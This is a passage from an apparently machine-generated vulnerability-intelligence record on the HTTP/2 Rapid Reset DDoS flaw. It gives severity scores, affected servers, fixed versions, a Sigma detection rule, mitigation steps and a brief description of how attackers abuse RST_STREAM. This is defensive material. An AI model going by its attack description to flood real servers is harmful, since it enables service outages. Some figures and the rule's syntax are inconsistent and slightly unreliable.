(DDoS)","summary":"Architectural protocol vulnerability in HTTP/2 enabling record-breaking DDoS attacks (>398 million requests per second) via RST_STREAM abuse.","description":"The HTTP/2 protocol allows a client to open a stream and rapidly cancel it using the RST_STREAM frame. Because server-side stream cancellation requires non-trivial processing while the client incurs negligible cost, an attacker can pipeline millions of requests, causing server CPU exhaustion and service failure.","severity":"HIGH","cvss_score":7.5,"cvss_version":"3.1","cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_metrics":{"scope":"UNCHANGED","integrity":"NONE","attackVector":"NETWORK","availability":"HIGH","confidentiality":"NONE","userInteraction":"NONE","attackComplexity":"LOW","privilegesRequired":"NONE"},"epss_score":0.982,"epss_percentile":0.996,"cisa_kev":true,"cisa_date_added":"2023-10-10T00:00:00.000Z","cisa_due_date":"2023-10-31T00:00:00.000Z","ransomware_campaign":null,"threat_actors":["Botnet operators","DDoS-for-hire cartels"],"exploit_status":"active_wild","cwes":[{"id":"CWE-400","name":"Uncontrolled Resource Consumption"}],"affected_vendors":["Internet Engineering Task Force (IETF)","Cloudflare","Google","AWS","NGINX","Apache","Envoy"],"affected_products":[{"cpe":"cpe:2.3:a:*:*:*:*:*:*:*:*:*","vendor":"Multiple","product":"HTTP/2 Web Servers and Reverse Proxies","fixed_version":"NGINX 1.25.3, Envoy 1.28.0, Go 1.21.3","affected_versions":"Implementations adhering to RFC 7540 without RST_STREAM rate limits"}],"ai_analysis":{"sigma_rule":"title: HTTP/2 High RST_STREAM Ratio\nstatus: high\nlogsource:\n  category: proxy\ndetection:\n  selection:\n    http_protocol: 'HTTP/2.0'\n    rst_stream_count|gt: 1000\n  condition: selection","analyzed_at":"2026-10-28T09:00:00.000Z","model_provider":"Gemini 2.0 Flash Security Sentinel","executive_summary":"A fundamental protocol flaw in HTTP/2 exploited by threat actors to generate unprecedented DDoS volumes exceeding 400M RPS, overwhelming web servers and cloud edge infrastructures.","detection_guidance":"Track the ratio of RST_STREAM frames to successful HTTP 200 responses. Ratios above 20% strongly indicate Rapid Reset attack patterns.","mitigation_playbook":["Update web proxies (NGINX, Envoy, Apache, HAProxy) to versions featuring HTTP/2 RST_STREAM rate limits.","Configure aggressive connection limits: limit the number of active streams per connection and close connections exceeding RST_STREAM thresholds.","Leverage cloud DDoS protection providers capable of L7 stateful stream inspection."],"technical_root_cause":"HTTP/2 stream multiplexing allows clients to request cancellation before server processing completes. Servers commit substantial resources parsing headers and allocating memory before the RST_STREAM is handled, creating an extreme asymmetric workload.","exploitation_mechanism":"Attacker client opens hundreds of concurrent HTTP/2 streams and immediately sends `RST_STREAM` frames in rapid succession over a single TCP connection, exhausting web worker threads.","enterprise_blast_radius":"Complete service outage across web-facing applications, customer checkout failures, CDN bandwidth and compute cost spikes."},"references":[{"url":"https://cloud.google.com/blog/products/identity-security/how-it-works-the-novel-http2-rapid-reset-ddos-attack","type":"advisory","title":"Google Cloud Security Blog"},{"url":"https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/","type":"advisory","title":"Cloudflare Technical Deep Dive"}],"published_at":"2023-10-10T14:00:00.000Z","updated_at":"2026-10-28T18:00:00.000Z"}]}